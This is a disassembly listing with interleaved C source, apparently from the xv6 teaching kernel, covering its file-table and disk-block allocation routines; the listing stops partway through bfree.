80100f5c <filealloc>:
// Allocate a file structure.
struct file*
filealloc(void)
{
80100f5c: 55 push %ebp
80100f5d: 89 e5 mov %esp,%ebp
80100f5f: 83 ec 28 sub $0x28,%esp
struct file *f;
acquire(&ftable.lock);
80100f62: c7 04 24 80 10 11 80 movl $0x80111080,(%esp)
80100f69: e8 b9 3f 00 00 call 80104f27 <acquire>
for(f = ftable.file; f < ftable.file + NFILE; f++){
80100f6e: c7 45 f4 b4 10 11 80 movl $0x801110b4,-0xc(%ebp)
80100f75: eb 29 jmp 80100fa0 <filealloc+0x44>
if(f->ref == 0){
80100f77: 8b 45 f4 mov -0xc(%ebp),%eax
80100f7a: 8b 40 04 mov 0x4(%eax),%eax
80100f7d: 85 c0 test %eax,%eax
80100f7f: 75 1b jne 80100f9c <filealloc+0x40>
f->ref = 1;
80100f81: 8b 45 f4 mov -0xc(%ebp),%eax
80100f84: c7 40 04 01 00 00 00 movl $0x1,0x4(%eax)
release(&ftable.lock);
80100f8b: c7 04 24 80 10 11 80 movl $0x80111080,(%esp)
80100f92: e8 f7 3f 00 00 call 80104f8e <release>
return f;
80100f97: 8b 45 f4 mov -0xc(%ebp),%eax
80100f9a: eb 1e jmp 80100fba <filealloc+0x5e>
filealloc(void)
{
struct file *f;
acquire(&ftable.lock);
for(f = ftable.file; f < ftable.file + NFILE; f++){
80100f9c: 83 45 f4 18 addl $0x18,-0xc(%ebp)
80100fa0: 81 7d f4 14 1a 11 80 cmpl $0x80111a14,-0xc(%ebp)
80100fa7: 72 ce jb 80100f77 <filealloc+0x1b>
f->ref = 1;
release(&ftable.lock);
return f;
}
}
release(&ftable.lock);
80100fa9: c7 04 24 80 10 11 80 movl $0x80111080,(%esp)
80100fb0: e8 d9 3f 00 00 call 80104f8e <release>
return 0;
80100fb5: b8 00 00 00 00 mov $0x0,%eax
}
80100fba: c9 leave
80100fbb: c3 ret
80100fbc <filedup>:
// Increment ref count for file f.
struct file*
filedup(struct file *f)
{
80100fbc: 55 push %ebp
80100fbd: 89 e5 mov %esp,%ebp
80100fbf: 83 ec 18 sub $0x18,%esp
acquire(&ftable.lock);
80100fc2: c7 04 24 80 10 11 80 movl $0x80111080,(%esp)
80100fc9: e8 59 3f 00 00 call 80104f27 <acquire>
if(f->ref < 1)
80100fce: 8b 45 08 mov 0x8(%ebp),%eax
80100fd1: 8b 40 04 mov 0x4(%eax),%eax
80100fd4: 85 c0 test %eax,%eax
80100fd6: 7f 0c jg 80100fe4 <filedup+0x28>
panic("filedup");
80100fd8: c7 04 24 c1 85 10 80 movl $0x801085c1,(%esp)
80100fdf: e8 70 f5 ff ff call 80100554 <panic>
f->ref++;
80100fe4: 8b 45 08 mov 0x8(%ebp),%eax
80100fe7: 8b 40 04 mov 0x4(%eax),%eax
80100fea: 8d 50 01 lea 0x1(%eax),%edx
80100fed: 8b 45 08 mov 0x8(%ebp),%eax
80100ff0: 89 50 04 mov %edx,0x4(%eax)
release(&ftable.lock);
80100ff3: c7 04 24 80 10 11 80 movl $0x80111080,(%esp)
80100ffa: e8 8f 3f 00 00 call 80104f8e <release>
return f;
80100fff: 8b 45 08 mov 0x8(%ebp),%eax
}
80101002: c9 leave
80101003: c3 ret
80101004 <fileclose>:
// Close file f. (Decrement ref count, close when reaches 0.)
void
fileclose(struct file *f)
{
80101004: 55 push %ebp
80101005: 89 e5 mov %esp,%ebp
80101007: 57 push %edi
80101008: 56 push %esi
80101009: 53 push %ebx
8010100a: 83 ec 3c sub $0x3c,%esp
struct file ff;
acquire(&ftable.lock);
8010100d: c7 04 24 80 10 11 80 movl $0x80111080,(%esp)
80101014: e8 0e 3f 00 00 call 80104f27 <acquire>
if(f->ref < 1)
80101019: 8b 45 08 mov 0x8(%ebp),%eax
8010101c: 8b 40 04 mov 0x4(%eax),%eax
8010101f: 85 c0 test %eax,%eax
80101021: 7f 0c jg 8010102f <fileclose+0x2b>
panic("fileclose");
80101023: c7 04 24 c9 85 10 80 movl $0x801085c9,(%esp)
8010102a: e8 25 f5 ff ff call 80100554 <panic>
if(--f->ref > 0){
8010102f: 8b 45 08 mov 0x8(%ebp),%eax
80101032: 8b 40 04 mov 0x4(%eax),%eax
80101035: 8d 50 ff lea -0x1(%eax),%edx
80101038: 8b 45 08 mov 0x8(%ebp),%eax
8010103b: 89 50 04 mov %edx,0x4(%eax)
8010103e: 8b 45 08 mov 0x8(%ebp),%eax
80101041: 8b 40 04 mov 0x4(%eax),%eax
80101044: 85 c0 test %eax,%eax
80101046: 7e 0e jle 80101056 <fileclose+0x52>
release(&ftable.lock);
80101048: c7 04 24 80 10 11 80 movl $0x80111080,(%esp)
8010104f: e8 3a 3f 00 00 call 80104f8e <release>
80101054: eb 70 jmp 801010c6 <fileclose+0xc2>
return;
}
ff = *f;
80101056: 8b 45 08 mov 0x8(%ebp),%eax
80101059: 8d 55 d0 lea -0x30(%ebp),%edx
8010105c: 89 c3 mov %eax,%ebx
8010105e: b8 06 00 00 00 mov $0x6,%eax
80101063: 89 d7 mov %edx,%edi
80101065: 89 de mov %ebx,%esi
80101067: 89 c1 mov %eax,%ecx
80101069: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
f->ref = 0;
8010106b: 8b 45 08 mov 0x8(%ebp),%eax
8010106e: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
f->type = FD_NONE;
80101075: 8b 45 08 mov 0x8(%ebp),%eax
80101078: c7 00 00 00 00 00 movl $0x0,(%eax)
release(&ftable.lock);
8010107e: c7 04 24 80 10 11 80 movl $0x80111080,(%esp)
80101085: e8 04 3f 00 00 call 80104f8e <release>
if(ff.type == FD_PIPE)
8010108a: 8b 45 d0 mov -0x30(%ebp),%eax
8010108d: 83 f8 01 cmp $0x1,%eax
80101090: 75 17 jne 801010a9 <fileclose+0xa5>
pipeclose(ff.pipe, ff.writable);
80101092: 8a 45 d9 mov -0x27(%ebp),%al
80101095: 0f be d0 movsbl %al,%edx
80101098: 8b 45 dc mov -0x24(%ebp),%eax
8010109b: 89 54 24 04 mov %edx,0x4(%esp)
8010109f: 89 04 24 mov %eax,(%esp)
801010a2: e8 8c 2f 00 00 call 80104033 <pipeclose>
801010a7: eb 1d jmp 801010c6 <fileclose+0xc2>
else if(ff.type == FD_INODE){
801010a9: 8b 45 d0 mov -0x30(%ebp),%eax
801010ac: 83 f8 02 cmp $0x2,%eax
801010af: 75 15 jne 801010c6 <fileclose+0xc2>
begin_op();
801010b1: e8 0d 24 00 00 call 801034c3 <begin_op>
iput(ff.ip);
801010b6: 8b 45 e0 mov -0x20(%ebp),%eax
801010b9: 89 04 24 mov %eax,(%esp)
801010bc: e8 b5 09 00 00 call 80101a76 <iput>
end_op();
801010c1: e8 7f 24 00 00 call 80103545 <end_op>
}
}
801010c6: 83 c4 3c add $0x3c,%esp
801010c9: 5b pop %ebx
801010ca: 5e pop %esi
801010cb: 5f pop %edi
801010cc: 5d pop %ebp
801010cd: c3 ret
801010ce <filestat>:
// Get metadata about file f.
int
filestat(struct file *f, struct stat *st)
{
801010ce: 55 push %ebp
801010cf: 89 e5 mov %esp,%ebp
801010d1: 83 ec 18 sub $0x18,%esp
if(f->type == FD_INODE){
801010d4: 8b 45 08 mov 0x8(%ebp),%eax
801010d7: 8b 00 mov (%eax),%eax
801010d9: 83 f8 02 cmp $0x2,%eax
801010dc: 75 38 jne 80101116 <filestat+0x48>
ilock(f->ip);
801010de: 8b 45 08 mov 0x8(%ebp),%eax
801010e1: 8b 40 10 mov 0x10(%eax),%eax
801010e4: 89 04 24 mov %eax,(%esp)
801010e7: e8 32 08 00 00 call 8010191e <ilock>
stati(f->ip, st);
801010ec: 8b 45 08 mov 0x8(%ebp),%eax
801010ef: 8b 40 10 mov 0x10(%eax),%eax
801010f2: 8b 55 0c mov 0xc(%ebp),%edx
801010f5: 89 54 24 04 mov %edx,0x4(%esp)
801010f9: 89 04 24 mov %eax,(%esp)
801010fc: e8 5d 0c 00 00 call 80101d5e <stati>
iunlock(f->ip);
80101101: 8b 45 08 mov 0x8(%ebp),%eax
80101104: 8b 40 10 mov 0x10(%eax),%eax
80101107: 89 04 24 mov %eax,(%esp)
8010110a: e8 23 09 00 00 call 80101a32 <iunlock>
return 0;
8010110f: b8 00 00 00 00 mov $0x0,%eax
80101114: eb 05 jmp 8010111b <filestat+0x4d>
}
return -1;
80101116: b8 ff ff ff ff mov $0xffffffff,%eax
}
8010111b: c9 leave
8010111c: c3 ret
8010111d <fileread>:
// Read from file f.
int
fileread(struct file *f, char *addr, int n)
{
8010111d: 55 push %ebp
8010111e: 89 e5 mov %esp,%ebp
80101120: 83 ec 28 sub $0x28,%esp
int r;
if(f->readable == 0)
80101123: 8b 45 08 mov 0x8(%ebp),%eax
80101126: 8a 40 08 mov 0x8(%eax),%al
80101129: 84 c0 test %al,%al
8010112b: 75 0a jne 80101137 <fileread+0x1a>
return -1;
8010112d: b8 ff ff ff ff mov $0xffffffff,%eax
80101132: e9 9f 00 00 00 jmp 801011d6 <fileread+0xb9>
if(f->type == FD_PIPE)
80101137: 8b 45 08 mov 0x8(%ebp),%eax
8010113a: 8b 00 mov (%eax),%eax
8010113c: 83 f8 01 cmp $0x1,%eax
8010113f: 75 1e jne 8010115f <fileread+0x42>
return piperead(f->pipe, addr, n);
80101141: 8b 45 08 mov 0x8(%ebp),%eax
80101144: 8b 40 0c mov 0xc(%eax),%eax
80101147: 8b 55 10 mov 0x10(%ebp),%edx
8010114a: 89 54 24 08 mov %edx,0x8(%esp)
8010114e: 8b 55 0c mov 0xc(%ebp),%edx
80101151: 89 54 24 04 mov %edx,0x4(%esp)
80101155: 89 04 24 mov %eax,(%esp)
80101158: e8 55 30 00 00 call 801041b2 <piperead>
8010115d: eb 77 jmp 801011d6 <fileread+0xb9>
if(f->type == FD_INODE){
8010115f: 8b 45 08 mov 0x8(%ebp),%eax
80101162: 8b 00 mov (%eax),%eax
80101164: 83 f8 02 cmp $0x2,%eax
80101167: 75 61 jne 801011ca <fileread+0xad>
ilock(f->ip);
80101169: 8b 45 08 mov 0x8(%ebp),%eax
8010116c: 8b 40 10 mov 0x10(%eax),%eax
8010116f: 89 04 24 mov %eax,(%esp)
80101172: e8 a7 07 00 00 call 8010191e <ilock>
if((r = readi(f->ip, addr, f->off, n)) > 0)
80101177: 8b 4d 10 mov 0x10(%ebp),%ecx
8010117a: 8b 45 08 mov 0x8(%ebp),%eax
8010117d: 8b 50 14 mov 0x14(%eax),%edx
80101180: 8b 45 08 mov 0x8(%ebp),%eax
80101183: 8b 40 10 mov 0x10(%eax),%eax
80101186: 89 4c 24 0c mov %ecx,0xc(%esp)
8010118a: 89 54 24 08 mov %edx,0x8(%esp)
8010118e: 8b 55 0c mov 0xc(%ebp),%edx
80101191: 89 54 24 04 mov %edx,0x4(%esp)
80101195: 89 04 24 mov %eax,(%esp)
80101198: e8 05 0c 00 00 call 80101da2 <readi>
8010119d: 89 45 f4 mov %eax,-0xc(%ebp)
801011a0: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
801011a4: 7e 11 jle 801011b7 <fileread+0x9a>
f->off += r;
801011a6: 8b 45 08 mov 0x8(%ebp),%eax
801011a9: 8b 50 14 mov 0x14(%eax),%edx
801011ac: 8b 45 f4 mov -0xc(%ebp),%eax
801011af: 01 c2 add %eax,%edx
801011b1: 8b 45 08 mov 0x8(%ebp),%eax
801011b4: 89 50 14 mov %edx,0x14(%eax)
iunlock(f->ip);
801011b7: 8b 45 08 mov 0x8(%ebp),%eax
801011ba: 8b 40 10 mov 0x10(%eax),%eax
801011bd: 89 04 24 mov %eax,(%esp)
801011c0: e8 6d 08 00 00 call 80101a32 <iunlock>
return r;
801011c5: 8b 45 f4 mov -0xc(%ebp),%eax
801011c8: eb 0c jmp 801011d6 <fileread+0xb9>
}
panic("fileread");
801011ca: c7 04 24 d3 85 10 80 movl $0x801085d3,(%esp)
801011d1: e8 7e f3 ff ff call 80100554 <panic>
}
801011d6: c9 leave
801011d7: c3 ret
801011d8 <filewrite>:
//PAGEBREAK!
// Write to file f.
int
filewrite(struct file *f, char *addr, int n)
{
801011d8: 55 push %ebp
801011d9: 89 e5 mov %esp,%ebp
801011db: 53 push %ebx
801011dc: 83 ec 24 sub $0x24,%esp
int r;
if(f->writable == 0)
801011df: 8b 45 08 mov 0x8(%ebp),%eax
801011e2: 8a 40 09 mov 0x9(%eax),%al
801011e5: 84 c0 test %al,%al
801011e7: 75 0a jne 801011f3 <filewrite+0x1b>
return -1;
801011e9: b8 ff ff ff ff mov $0xffffffff,%eax
801011ee: e9 20 01 00 00 jmp 80101313 <filewrite+0x13b>
if(f->type == FD_PIPE)
801011f3: 8b 45 08 mov 0x8(%ebp),%eax
801011f6: 8b 00 mov (%eax),%eax
801011f8: 83 f8 01 cmp $0x1,%eax
801011fb: 75 21 jne 8010121e <filewrite+0x46>
return pipewrite(f->pipe, addr, n);
801011fd: 8b 45 08 mov 0x8(%ebp),%eax
80101200: 8b 40 0c mov 0xc(%eax),%eax
80101203: 8b 55 10 mov 0x10(%ebp),%edx
80101206: 89 54 24 08 mov %edx,0x8(%esp)
8010120a: 8b 55 0c mov 0xc(%ebp),%edx
8010120d: 89 54 24 04 mov %edx,0x4(%esp)
80101211: 89 04 24 mov %eax,(%esp)
80101214: e8 ac 2e 00 00 call 801040c5 <pipewrite>
80101219: e9 f5 00 00 00 jmp 80101313 <filewrite+0x13b>
if(f->type == FD_INODE){
8010121e: 8b 45 08 mov 0x8(%ebp),%eax
80101221: 8b 00 mov (%eax),%eax
80101223: 83 f8 02 cmp $0x2,%eax
80101226: 0f 85 db 00 00 00 jne 80101307 <filewrite+0x12f>
// the maximum log transaction size, including
// i-node, indirect block, allocation blocks,
// and 2 blocks of slop for non-aligned writes.
// this really belongs lower down, since writei()
// might be writing a device like the console.
int max = ((LOGSIZE-1-1-2) / 2) * 512;
8010122c: c7 45 ec 00 1a 00 00 movl $0x1a00,-0x14(%ebp)
int i = 0;
80101233: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
while(i < n){
8010123a: e9 a8 00 00 00 jmp 801012e7 <filewrite+0x10f>
int n1 = n - i;
8010123f: 8b 45 f4 mov -0xc(%ebp),%eax
80101242: 8b 55 10 mov 0x10(%ebp),%edx
80101245: 29 c2 sub %eax,%edx
80101247: 89 d0 mov %edx,%eax
80101249: 89 45 f0 mov %eax,-0x10(%ebp)
if(n1 > max)
8010124c: 8b 45 f0 mov -0x10(%ebp),%eax
8010124f: 3b 45 ec cmp -0x14(%ebp),%eax
80101252: 7e 06 jle 8010125a <filewrite+0x82>
n1 = max;
80101254: 8b 45 ec mov -0x14(%ebp),%eax
80101257: 89 45 f0 mov %eax,-0x10(%ebp)
begin_op();
8010125a: e8 64 22 00 00 call 801034c3 <begin_op>
ilock(f->ip);
8010125f: 8b 45 08 mov 0x8(%ebp),%eax
80101262: 8b 40 10 mov 0x10(%eax),%eax
80101265: 89 04 24 mov %eax,(%esp)
80101268: e8 b1 06 00 00 call 8010191e <ilock>
if ((r = writei(f->ip, addr + i, f->off, n1)) > 0)
8010126d: 8b 4d f0 mov -0x10(%ebp),%ecx
80101270: 8b 45 08 mov 0x8(%ebp),%eax
80101273: 8b 50 14 mov 0x14(%eax),%edx
80101276: 8b 5d f4 mov -0xc(%ebp),%ebx
80101279: 8b 45 0c mov 0xc(%ebp),%eax
8010127c: 01 c3 add %eax,%ebx
8010127e: 8b 45 08 mov 0x8(%ebp),%eax
80101281: 8b 40 10 mov 0x10(%eax),%eax
80101284: 89 4c 24 0c mov %ecx,0xc(%esp)
80101288: 89 54 24 08 mov %edx,0x8(%esp)
8010128c: 89 5c 24 04 mov %ebx,0x4(%esp)
80101290: 89 04 24 mov %eax,(%esp)
80101293: e8 6e 0c 00 00 call 80101f06 <writei>
80101298: 89 45 e8 mov %eax,-0x18(%ebp)
8010129b: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
8010129f: 7e 11 jle 801012b2 <filewrite+0xda>
f->off += r;
801012a1: 8b 45 08 mov 0x8(%ebp),%eax
801012a4: 8b 50 14 mov 0x14(%eax),%edx
801012a7: 8b 45 e8 mov -0x18(%ebp),%eax
801012aa: 01 c2 add %eax,%edx
801012ac: 8b 45 08 mov 0x8(%ebp),%eax
801012af: 89 50 14 mov %edx,0x14(%eax)
iunlock(f->ip);
801012b2: 8b 45 08 mov 0x8(%ebp),%eax
801012b5: 8b 40 10 mov 0x10(%eax),%eax
801012b8: 89 04 24 mov %eax,(%esp)
801012bb: e8 72 07 00 00 call 80101a32 <iunlock>
end_op();
801012c0: e8 80 22 00 00 call 80103545 <end_op>
if(r < 0)
801012c5: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
801012c9: 79 02 jns 801012cd <filewrite+0xf5>
break;
801012cb: eb 26 jmp 801012f3 <filewrite+0x11b>
if(r != n1)
801012cd: 8b 45 e8 mov -0x18(%ebp),%eax
801012d0: 3b 45 f0 cmp -0x10(%ebp),%eax
801012d3: 74 0c je 801012e1 <filewrite+0x109>
panic("short filewrite");
801012d5: c7 04 24 dc 85 10 80 movl $0x801085dc,(%esp)
801012dc: e8 73 f2 ff ff call 80100554 <panic>
i += r;
801012e1: 8b 45 e8 mov -0x18(%ebp),%eax
801012e4: 01 45 f4 add %eax,-0xc(%ebp)
// and 2 blocks of slop for non-aligned writes.
// this really belongs lower down, since writei()
// might be writing a device like the console.
int max = ((LOGSIZE-1-1-2) / 2) * 512;
int i = 0;
while(i < n){
801012e7: 8b 45 f4 mov -0xc(%ebp),%eax
801012ea: 3b 45 10 cmp 0x10(%ebp),%eax
801012ed: 0f 8c 4c ff ff ff jl 8010123f <filewrite+0x67>
break;
if(r != n1)
panic("short filewrite");
i += r;
}
return i == n ? n : -1;
801012f3: 8b 45 f4 mov -0xc(%ebp),%eax
801012f6: 3b 45 10 cmp 0x10(%ebp),%eax
801012f9: 75 05 jne 80101300 <filewrite+0x128>
801012fb: 8b 45 10 mov 0x10(%ebp),%eax
801012fe: eb 05 jmp 80101305 <filewrite+0x12d>
80101300: b8 ff ff ff ff mov $0xffffffff,%eax
80101305: eb 0c jmp 80101313 <filewrite+0x13b>
}
panic("filewrite");
80101307: c7 04 24 ec 85 10 80 movl $0x801085ec,(%esp)
8010130e: e8 41 f2 ff ff call 80100554 <panic>
}
80101313: 83 c4 24 add $0x24,%esp
80101316: 5b pop %ebx
80101317: 5d pop %ebp
80101318: c3 ret
80101319: 00 00 add %al,(%eax)
...
8010131c <readsb>:
struct superblock sb;
// Read the super block.
void
readsb(int dev, struct superblock *sb)
{
8010131c: 55 push %ebp
8010131d: 89 e5 mov %esp,%ebp
8010131f: 83 ec 28 sub $0x28,%esp
struct buf *bp;
bp = bread(dev, 1);
80101322: 8b 45 08 mov 0x8(%ebp),%eax
80101325: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
8010132c: 00
8010132d: 89 04 24 mov %eax,(%esp)
80101330: e8 80 ee ff ff call 801001b5 <bread>
80101335: 89 45 f4 mov %eax,-0xc(%ebp)
memmove(sb, bp->data, sizeof(*sb));
80101338: 8b 45 f4 mov -0xc(%ebp),%eax
8010133b: 83 c0 5c add $0x5c,%eax
8010133e: c7 44 24 08 1c 00 00 movl $0x1c,0x8(%esp)
80101345: 00
80101346: 89 44 24 04 mov %eax,0x4(%esp)
8010134a: 8b 45 0c mov 0xc(%ebp),%eax
8010134d: 89 04 24 mov %eax,(%esp)
80101350: e8 fe 3e 00 00 call 80105253 <memmove>
brelse(bp);
80101355: 8b 45 f4 mov -0xc(%ebp),%eax
80101358: 89 04 24 mov %eax,(%esp)
8010135b: e8 cc ee ff ff call 8010022c <brelse>
}
80101360: c9 leave
80101361: c3 ret
80101362 <bzero>:
// Zero a block.
static void
bzero(int dev, int bno)
{
80101362: 55 push %ebp
80101363: 89 e5 mov %esp,%ebp
80101365: 83 ec 28 sub $0x28,%esp
struct buf *bp;
bp = bread(dev, bno);
80101368: 8b 55 0c mov 0xc(%ebp),%edx
8010136b: 8b 45 08 mov 0x8(%ebp),%eax
8010136e: 89 54 24 04 mov %edx,0x4(%esp)
80101372: 89 04 24 mov %eax,(%esp)
80101375: e8 3b ee ff ff call 801001b5 <bread>
8010137a: 89 45 f4 mov %eax,-0xc(%ebp)
memset(bp->data, 0, BSIZE);
8010137d: 8b 45 f4 mov -0xc(%ebp),%eax
80101380: 83 c0 5c add $0x5c,%eax
80101383: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
8010138a: 00
8010138b: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80101392: 00
80101393: 89 04 24 mov %eax,(%esp)
80101396: e8 ef 3d 00 00 call 8010518a <memset>
log_write(bp);
8010139b: 8b 45 f4 mov -0xc(%ebp),%eax
8010139e: 89 04 24 mov %eax,(%esp)
801013a1: e8 21 23 00 00 call 801036c7 <log_write>
brelse(bp);
801013a6: 8b 45 f4 mov -0xc(%ebp),%eax
801013a9: 89 04 24 mov %eax,(%esp)
801013ac: e8 7b ee ff ff call 8010022c <brelse>
}
801013b1: c9 leave
801013b2: c3 ret
801013b3 <balloc>:
// Blocks.
// Allocate a zeroed disk block.
static uint
balloc(uint dev)
{
801013b3: 55 push %ebp
801013b4: 89 e5 mov %esp,%ebp
801013b6: 83 ec 28 sub $0x28,%esp
int b, bi, m;
struct buf *bp;
bp = 0;
801013b9: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
for(b = 0; b < sb.size; b += BPB){
801013c0: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
801013c7: e9 03 01 00 00 jmp 801014cf <balloc+0x11c>
bp = bread(dev, BBLOCK(b, sb));
801013cc: 8b 45 f4 mov -0xc(%ebp),%eax
801013cf: 85 c0 test %eax,%eax
801013d1: 79 05 jns 801013d8 <balloc+0x25>
801013d3: 05 ff 0f 00 00 add $0xfff,%eax
801013d8: c1 f8 0c sar $0xc,%eax
801013db: 89 c2 mov %eax,%edx
801013dd: a1 98 1a 11 80 mov 0x80111a98,%eax
801013e2: 01 d0 add %edx,%eax
801013e4: 89 44 24 04 mov %eax,0x4(%esp)
801013e8: 8b 45 08 mov 0x8(%ebp),%eax
801013eb: 89 04 24 mov %eax,(%esp)
801013ee: e8 c2 ed ff ff call 801001b5 <bread>
801013f3: 89 45 ec mov %eax,-0x14(%ebp)
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
801013f6: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
801013fd: e9 9b 00 00 00 jmp 8010149d <balloc+0xea>
m = 1 << (bi % 8);
80101402: 8b 45 f0 mov -0x10(%ebp),%eax
80101405: 25 07 00 00 80 and $0x80000007,%eax
8010140a: 85 c0 test %eax,%eax
8010140c: 79 05 jns 80101413 <balloc+0x60>
8010140e: 48 dec %eax
8010140f: 83 c8 f8 or $0xfffffff8,%eax
80101412: 40 inc %eax
80101413: ba 01 00 00 00 mov $0x1,%edx
80101418: 88 c1 mov %al,%cl
8010141a: d3 e2 shl %cl,%edx
8010141c: 89 d0 mov %edx,%eax
8010141e: 89 45 e8 mov %eax,-0x18(%ebp)
if((bp->data[bi/8] & m) == 0){ // Is block free?
80101421: 8b 45 f0 mov -0x10(%ebp),%eax
80101424: 85 c0 test %eax,%eax
80101426: 79 03 jns 8010142b <balloc+0x78>
80101428: 83 c0 07 add $0x7,%eax
8010142b: c1 f8 03 sar $0x3,%eax
8010142e: 8b 55 ec mov -0x14(%ebp),%edx
80101431: 8a 44 02 5c mov 0x5c(%edx,%eax,1),%al
80101435: 0f b6 c0 movzbl %al,%eax
80101438: 23 45 e8 and -0x18(%ebp),%eax
8010143b: 85 c0 test %eax,%eax
8010143d: 75 5b jne 8010149a <balloc+0xe7>
bp->data[bi/8] |= m; // Mark block in use.
8010143f: 8b 45 f0 mov -0x10(%ebp),%eax
80101442: 85 c0 test %eax,%eax
80101444: 79 03 jns 80101449 <balloc+0x96>
80101446: 83 c0 07 add $0x7,%eax
80101449: c1 f8 03 sar $0x3,%eax
8010144c: 8b 55 ec mov -0x14(%ebp),%edx
8010144f: 8a 54 02 5c mov 0x5c(%edx,%eax,1),%dl
80101453: 88 d1 mov %dl,%cl
80101455: 8b 55 e8 mov -0x18(%ebp),%edx
80101458: 09 ca or %ecx,%edx
8010145a: 88 d1 mov %dl,%cl
8010145c: 8b 55 ec mov -0x14(%ebp),%edx
8010145f: 88 4c 02 5c mov %cl,0x5c(%edx,%eax,1)
log_write(bp);
80101463: 8b 45 ec mov -0x14(%ebp),%eax
80101466: 89 04 24 mov %eax,(%esp)
80101469: e8 59 22 00 00 call 801036c7 <log_write>
brelse(bp);
8010146e: 8b 45 ec mov -0x14(%ebp),%eax
80101471: 89 04 24 mov %eax,(%esp)
80101474: e8 b3 ed ff ff call 8010022c <brelse>
bzero(dev, b + bi);
80101479: 8b 45 f0 mov -0x10(%ebp),%eax
8010147c: 8b 55 f4 mov -0xc(%ebp),%edx
8010147f: 01 c2 add %eax,%edx
80101481: 8b 45 08 mov 0x8(%ebp),%eax
80101484: 89 54 24 04 mov %edx,0x4(%esp)
80101488: 89 04 24 mov %eax,(%esp)
8010148b: e8 d2 fe ff ff call 80101362 <bzero>
return b + bi;
80101490: 8b 45 f0 mov -0x10(%ebp),%eax
80101493: 8b 55 f4 mov -0xc(%ebp),%edx
80101496: 01 d0 add %edx,%eax
80101498: eb 51 jmp 801014eb <balloc+0x138>
struct buf *bp;
bp = 0;
for(b = 0; b < sb.size; b += BPB){
bp = bread(dev, BBLOCK(b, sb));
for(bi = 0; bi < BPB && b + bi < sb.size; bi++){
8010149a: ff 45 f0 incl -0x10(%ebp)
8010149d: 81 7d f0 ff 0f 00 00 cmpl $0xfff,-0x10(%ebp)
801014a4: 7f 17 jg 801014bd <balloc+0x10a>
801014a6: 8b 45 f0 mov -0x10(%ebp),%eax
801014a9: 8b 55 f4 mov -0xc(%ebp),%edx
801014ac: 01 d0 add %edx,%eax
801014ae: 89 c2 mov %eax,%edx
801014b0: a1 80 1a 11 80 mov 0x80111a80,%eax
801014b5: 39 c2 cmp %eax,%edx
801014b7: 0f 82 45 ff ff ff jb 80101402 <balloc+0x4f>
brelse(bp);
bzero(dev, b + bi);
return b + bi;
}
}
brelse(bp);
801014bd: 8b 45 ec mov -0x14(%ebp),%eax
801014c0: 89 04 24 mov %eax,(%esp)
801014c3: e8 64 ed ff ff call 8010022c <brelse>
{
int b, bi, m;
struct buf *bp;
bp = 0;
for(b = 0; b < sb.size; b += BPB){
801014c8: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp)
801014cf: 8b 55 f4 mov -0xc(%ebp),%edx
801014d2: a1 80 1a 11 80 mov 0x80111a80,%eax
801014d7: 39 c2 cmp %eax,%edx
801014d9: 0f 82 ed fe ff ff jb 801013cc <balloc+0x19>
return b + bi;
}
}
brelse(bp);
}
panic("balloc: out of blocks");
801014df: c7 04 24 f8 85 10 80 movl $0x801085f8,(%esp)
801014e6: e8 69 f0 ff ff call 80100554 <panic>
}
801014eb: c9 leave
801014ec: c3 ret
801014ed <bfree>:
// Free a disk block.
static void
bfree(int dev, uint b)
{
801014ed: 55 push %ebp
801014ee: 89 e5 mov %esp,%ebp
801014f0: 83 ec 28 sub $0x28,%esp
struct buf *bp;
int bi, m;
readsb(dev, &sb);
801014f3: c7 44 24 04 80 1a 11 movl $0x80111a80,0x4(%esp)
801014fa: 80
801014fb: 8b 45 08 mov 0x8(%ebp),%eax
801014fe: 89 04 24 mov %eax,(%esp)
80101501: e8 16 fe ff ff call 8010131c <readsb>
bp = bread(dev, BBLOCK(b, sb));
80101506: 8b 45 0c mov 0xc(%ebp),%eax
80101509: c1 e8 0c shr $0xc,%eax
8010150c: 89 c2 mov %eax,%edx
8010150e: a1 98 1a 11 80 mov 0x80111a98,%eax
80101513: 01 c2 add %eax,%edx
80101515: 8b 45 08 mov 0x8(%ebp),%eax
80101518: 89 54 24 04 mov %edx,0x4(%esp)
8010151c: 89 04 24 mov %eax,(%esp)
8010151f: e8 91 ec ff ff call 801001b5 <bread>
80101524: 89 45 f4 mov %eax,-0xc(%ebp)
bi = b % BPB;
80101527: 8b 45 0c mov 0xc(%ebp),%eax
8010152a: 25 ff 0f 00 00 and $0xfff,%eax
8010152f: 89 45 f0 mov %eax,-0x10(%ebp)
m = 1 << (bi % 8);
80101532: 8b 45 f0 mov -0x10(%ebp),%eax
80101535: 25 07 00 00 80 and $0x80000007,%eax
8010153a: 85 c0 test %eax,%eax
8010153c: 79 05 jns 80101543 <bfree+0x56>
8010153e: 48 dec %eax
8010153f: 83 c8 f8 or $0xfffffff8,%eax
80101542: 40 inc %eax
80101543: ba 01 00 00 00 mov $0x1,%edx
80101548: 88 c1 mov %al,%cl
8010154a: d3 e2 shl %cl,%edx
8010154c: 89 d0 mov %edx,%eax
8010154e: 89 45 ec mov %eax,-0x14(%ebp)
if((bp->data[bi/8] & m) == 0)
80101551: 8b 45 f0 mov -0x10(%ebp),%eax
80101554: 85 c0 test %eax,%eax
80101556: 79 03 jns 8010155b <bfree+0x6e>
80101558: 83 c0 07 add $0x7,%eax
8010155b: c1 f8 03 sar $0x3,%eax
8010155e: 8b 55 f4 mov -0xc(%ebp),%edx
80101561: 8a 44 02 5c mov 0x5c(%edx,%eax,1),%al
80101565: 0f b6 c0 movzbl %al,%eax
80101568: 23 45 ec and -0x14(%ebp),%eax
8010156b: 85 c0 test %eax,%eax
8010156d: 75 0c jne 8010157b <bfree+0x8e>
panic("freeing free block");
8010156f: c7 04 24 0e 86 10 80 movl $0x8010860e,(%esp)
80101576: e8 d9 ef ff ff call 80100554 <panic>
bp->data[bi/8] &= ~m;
